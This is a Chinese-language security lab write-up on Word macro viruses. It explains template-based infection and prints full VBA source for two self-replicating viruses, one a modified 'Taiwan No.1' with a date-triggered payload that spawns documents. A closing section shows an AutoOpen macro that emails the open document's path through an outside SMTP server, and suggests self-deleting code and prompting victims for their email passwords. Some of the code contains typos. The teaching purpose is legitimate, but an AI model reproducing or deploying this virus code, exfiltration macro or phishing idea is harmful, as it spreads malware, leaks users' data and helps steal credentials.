Word宏病毒
【实验目的】
1、演示宏的编写。
2、说明宏的原理及其安全漏洞和缺陷。
3、理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
【实验环境】
在windows虚拟机中演示word宏病毒的发生机制,以及如何清除病毒的一系列操作宏病毒样本:自我复制及感染病毒(copy.txt)类台湾一号病毒(No1.txt)
实验注意事项:为了保证该试验不至于造成较大破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
【实验预备知识点】
Word的文件建立是通过模板来创建的,模板是为了形成最终文档而提供的特殊文档,模板可以包括以下几个元素:菜单、宏、格式(如备忘录等)。模板是文本、图形和格式编排的蓝图,对于某一类型的所有文档来说,文本、图像和格式编排都是类似的。
Word提供了几种常见文档类型的模板,如备忘录、报告和商务信件。您可以直接使用模板来创建新文档,或者加以修改,也可以创建自己的模板。一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot)。
可以看出,模板在建立整个文档中所起的作用,作为基类,文档继承模板的属性,包括宏、菜单、格式等。
Word处理文档需要同时进行各种不同的动作,如打开文件、关闭文件、读取数据资料以及储存和打印等等。每一种动作其实都对应着特定的宏命令,如存文件与FileSave相对应、改名存文件对应着FileSaveAS、打印则对应着FilePrint等。Word打开文件时,它首先要检查是否有AutoOpen宏存在,假如有这样的宏,Word就启动它,除非在此之前系统已经被“取消宏(Disable Auto Macros)”命令设置成宏无效。当然,如果AutoClose宏存在,则系统在关闭一个文件时,会自动执行它。
通常,宏病毒至少会包含一个以上的自动宏(如AutoOpen、AutoClose、AutoExec、AutoExit和AutoNew等),或者是一个以上的标准宏,如FileOpen、FileSaveAs等。如果某个.doc文件感染了这类Word宏病毒,则当Word运行这类自动宏时,实际上就是运行了病毒代码。由自动宏和/或标准宏构成的宏病毒,其内部都具有把带病毒的宏移植(复制)到通用宏的代码段,也就是说宏病毒通过这种方式实现对其他文件的传染。当Word系统退出时,它会自动地把所有通用宏(当然也包括传染进来的病毒宏)保存到模板文件中(即*.DOT文件,通常为NORMAL.DOT),当Word系统再次启动时,它又会自动地把所有通用宏(包括病毒宏)从模板中装入。如此这般,一旦Word系统遭受感染,则以后每当系统进行初始化时,系统都会随着NORMAL.DOT的装入而成为带毒的Word系统,继而在打开和创建任何文档时感染该文档。
一旦病毒宏侵入Word系统,它就会替代原有的正常宏,如FileOpen、FileSave、FileSaveAs和FilePrint等,并通过这些宏所关联的文件操作功能获取对文件交换的控制。当某项功能被调用时,相应的病毒宏就会篡夺控制权,实施病毒所定义的非法操作,包括传染操作、表现操作以及破坏操作等。宏病毒在感染一个文档时,首先要把文档转换成模板格式,然后把所有病毒宏(包括自动宏)复制到该文档中。被转换成模板格式后的染毒文件无法转存为任何其他格式。含有自动宏的宏病毒染毒文档,当被其他计算机的Word系统打开时,便会自动感染该计算机。例如,如果病毒捕获并修改了FileOpen,那么它将感染每一个被打开的Word文件。
宏病毒主要寄生于AutoOpen、AutoClose和AutoNew 3个宏中,其引导、传染、表现或破坏均通过宏指令来完成的。宏指令是用宏语言WORDBASIC编写的,宏语言提供了许多系统级底层功能调用,因此,宏病毒利用宏语言实现其传染、表现或破坏的目的。
目前,几乎所有已知的宏病毒都沿用了相同的作用机理,即如果Word系统在读取一个染毒文件时遭受感染,则其后所有新创建的DOC文件都会被感染。Word宏病毒几乎是唯一可跨越不同硬件平台而生存、传染和流行的一类病毒。如果说宏病毒还有什么局限性的话,就是这些病毒必须依赖某个可受其感染的系统,如微软的Word或Excel,否则这些宏病毒便成了无水之鱼。
【实验内容】
宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
因为Microsoft Word几乎已经成为目前全世界办公文档的事实工业标准,其影响是全球范围的。Word文件的交换是目前办公室数据交流和传送的最通常的方式之一,而且该病毒能跨越多种平台,并且针对数据文档进行破坏,因此具有极大地危害性。所以,必须要掌握如何预防和清除宏病毒,让损失减少。
【实验步骤】
1、 点击“开始”->“Microsoft office word 2003”,打开word,安装word中路径打开“工具->宏->安全性”中把word文档宏的安全性设置为低,在可靠发行商选项卡中,选择信任所有安装的加载项和模板,选择信任visual basic项目的访问。
图 1安全性设置
2、 然后进行宏病毒自我复制功能的演示
- 打开“工具->宏->visual basic 编辑器”,进入宏编辑器的project->Microsoft word对象->thisDocument中,点击“视图”->“代码窗口”,在代码的窗口中输入源代码copy.txt(代码在D:\攻防工具包宏病毒中),保存。

图 2 源代码copy.txt
2) 运行宏(窗口上绿色的三角按钮),弹出“你中毒了”的文本框。
图 3“你中毒了”文本框
3) 新建word文档,打开,也会显示“中毒了”。
图 4 新建word文档,显示“中毒了”
4) 新建中毒的文档里的全部宏删除,就能消除宏病毒了。(删除方法:在word菜单栏单击工具->宏->删除所有的宏)
copy.txt代码如下:
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Opitons.SaveNormaPrompt = False
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'Micro-Virus" Then
.DeleteLine 1, .CountOflines
.InsertLines 1, Ourcode
.ReplaceLine2 , "SubDocument_Close()"
If ThisDocument = nomaltemplate Then
.replaceline 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox "中毒了"
End Sub

图 5 删除所有宏
3、类台湾一号病毒演示
- 以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源码作适当修改。
- 把日期改为29号,因为该病毒在特定时间才会发作。
- 在宏编辑器的project—>Microsoft word对象->thisDocument,点击“视图”->“代码窗口”(或者双击thisDocument),在代码的窗口中中输入源代码(TaiWanNo1.txt),保存。

图 6 输入源代码
4) 观察病毒运行后的效果(运行方式同步骤2),当打开被感染文档时,首先进行自我复制,感染word模版,然后检查日期,看是不是29日(即在每月29号发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果用户的计算正确,那么就会新建一个文档,跳出如下字幕:“何谓宏病毒,答案是:我就是……;如何预防宏病毒,答案:不要看我……”。
如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。关闭文档的时候也会执行同样的询问。
TaiWanNo1.tx代码如下:
'moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 3, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
Count = 0
If Day(Now()) = 29 Then
try:
On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......"
GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub

图 7 运行效果
3、 消除宏病毒
在最后中毒的文档里的全部宏删除,就能消除宏病毒了。(删除方法:在word菜单栏单击工具->宏->删除所有的宏)
【实验思考题】
1、除了word的宏病毒,还有什么类型的宏病毒?
答:一般宏病毒指的是office文档病毒,除了感染word还有excel等。
2、看完本实验,能不能编出一个简单的word宏病毒?
基于VisualBasicForApplications
一:录制宏
在word,视图,宏,录制宏选项。
操作比较简单,不再赘述。 (注意根据需求选择normal还是当前文档)
例如:录制宏:快捷键设为空格,将某些字段设为隐藏/空白。可以隐藏信息。(虽然很简陋)
二:编辑宏
视图宏查看宏创建 (注意根据需求选择normal还是当前文档)
CDO组件发送邮件。
用了ActiveDocument.FullName获取当前文档的path。
不知道为什么Dim mail As New CDO.Message 会报错
改用Set cm = CreateObject(“CDO.Message”)
同时这里宏名AutoOpen。具体释义可以在网上找。这里是偷懒了,可以先做一个msg的宏,再做一个AutoOpen,在AutoOpen里call msg
注意发送的邮箱要在设置中开启SMTP选项,同时设置一个第三方登录密码。这样代码里用的是这个密码而非邮箱密码。
另外编辑完成后提示doc不支持宏,所以改为docm格式。
另外在visual basic for application编辑时注意在 工具——引用 添加CDO的库
代码
Sub AutoOpen()
’
’ AutoOpen 宏
’
MsgBox (“thanks”)
Set cm = CreateObject(“CDO.Message”)
cm.From = “xxxx@163.com”
cm.To = “yyyy@qq.com”
cm.Subject = “the back”
cm.HTMLBody = ActiveDocument.FullName
stUl = “http://schemas.microsoft.com/cdo/configuration/” '微软服务器网址
With cm.Configuration.Fields
.Item(stUl & “smtpserver”) = “smtp.163.com” 'SMTP服务器地址
.Item(stUl & “smtpserverport”) = 25 'SMTP服务器端口
.Item(stUl & “sendusing”) = 2 '发送端口
.Item(stUl & “smtpauthenticate”) = 1 '需要提供用户名和密码,0是不提供 ’
.Item(stUl & “sendusername”) = “xxxx” '发送方邮箱名称
.Item(stUl & “sendpassword”) = “xxxx” '发送方邮箱密码
.Update
End With
cm.Send '最后当然是执行发送了
Set cm = Nothing
'发送成功后即时释放对象
End Sub
改进的思路也有很多。比如运行完直接销毁代码,运行完随机替换代码字符等。
还有社会工程的方法,比如弹出一个框要用户输入自己的邮箱和密码。